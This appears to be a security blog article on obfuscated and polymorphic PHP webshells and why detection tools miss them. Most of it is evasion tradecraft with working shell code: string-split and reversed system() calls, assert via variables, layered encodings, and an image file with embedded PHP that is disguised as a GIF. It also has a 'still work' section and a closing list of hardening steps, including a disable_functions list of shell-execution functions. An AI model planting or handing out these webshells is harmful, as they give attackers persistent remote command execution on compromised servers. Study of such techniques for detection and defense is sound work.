As of 2026, webshells still rank among the most consistent methods attackers use to retain persistent access once they achieve RCE for the first time. Although techniques have evolved over time, current-day detection mechanisms (WAFs, EDRs, file integrity monitoring, anomaly/behavior detection etc.) are still not able to properly identify obfuscated and polymorphic webshells, which is why they work.
This article reviews some real world test results of successful detection evasion techniques based upon engagements and bug bounty submissions.
Why Obfuscation & Polymorphism Still Win
Most security tools look for known strings (system(, exec(, eval(, shell_exec, passthru, base64_decode, etc.). Smart attackers avoid these by constantly changing the appearance of the shell while keeping the same functionality.
Current Effective Obfuscation Techniques
1. When writing system($_GET['cmd']), attackers break it up into pieces: string splitting and concatenation:
<?php $a="sys"; $b="tem"; $c=$_GET['c']; $a.$b($c); ?>
Or more advanced:
<?php $f=strrev("metsys"); $f($_GET['cmd']); ?>
2. Function renaming and variable tricks
<?php $x = "assert"; $x($_POST['c']); ?>
or using create_function/eval with random variable names
3. Encoding Layers
a) Use different layers of base64 + gzdeflate + strrev combinations
b) Have multiple layers of encoding to be decoded at run-time
c) Using preg_replace with the /e modifier (is still functional on old versions)
4. Polymorphic Generation Currently (modern) webshell builders generate a new version every time:
a) Random variable names
b) Random order of functions
c) Different encoding methods deployed for every install
d) Large amounts of dead code or comments (inserts)
5. Fileless / In-Memory Techniques Some advanced webshells do not ever touch disk as a .PHP File, but rather:
a) Have .htaccess tricks interpret a non-.php file as PHP
b) Will upload by means of image with embedded PHP (GIF89a;<?php ... ?>)
c) Will utilize data:// or php://filter streams where possible
Real-World Examples That Still Work
Simple but Effective
<?php
$cmd = $_GET['c'] ?? $_POST['c'];
if ($cmd) {
$f = strrev("metsys");
@$f($cmd);
}
?>
More Advanced Polymorphic Version
<?php
$a = array("s","y","s","t","e","m");
$b = implode("", $a);
$c = $_REQUEST['x'];
@$b($c);
?>
Fileless / Image-Based
Upload a file named logo.jpg containing:
GIF89a;
<?php system($_GET['cmd']); ?>
Then access it as logo.jpg?cmd=id
Detection Challenges
1. Signature-based WAFs miss heavily obfuscated or polymorphic shells.
2. Behavioral analysis often fails if the shell uses only native PHP functions in unusual ways.
3. Many EDR solutions still focus on known webshell families rather than generic behavior.
Practical Defense Recommendations
1. Disable dangerous php.ini functions
ini
disable_functions = system,exec,shell_exec,passthru,proc_open,popen,pcntl_exec,eval,assert,create_function
2. Use strict file upload validation. Validate that a file has the correct extension, and in addition to checking the extension also check the real Mime type and perform content inspection of the uploaded file (i.e., ensure it contains the appropriate content for the file type).
3. Implement file integrity monitoring of directories that are used to upload files to your website.
4. Use a WAF that provides generic PHP protection, such as ModSecurity CRS or Cloudflare WAF.
5. Regularly scan for suspicious files using tools such as find and grep to look for common obfuscation techniques.
Conclusion
Obfuscation and polymorphism will continue to allow successful use of webshells because they take advantage of weaknesses in signature-based detection compared to actual behaviour analysis techniques. Attackers do not need new techniques; they just need to make their webshells look unique from one use to the next.
If you use a combination of a properly configured website (i.e., disabling dangerous php functions), strict upload controls, and behaviours can help you be successful over solely relying on signatures.
If you are responsible for operating a web server, you must prepare for webshells and expect that an attempt to install a webshell will be made.
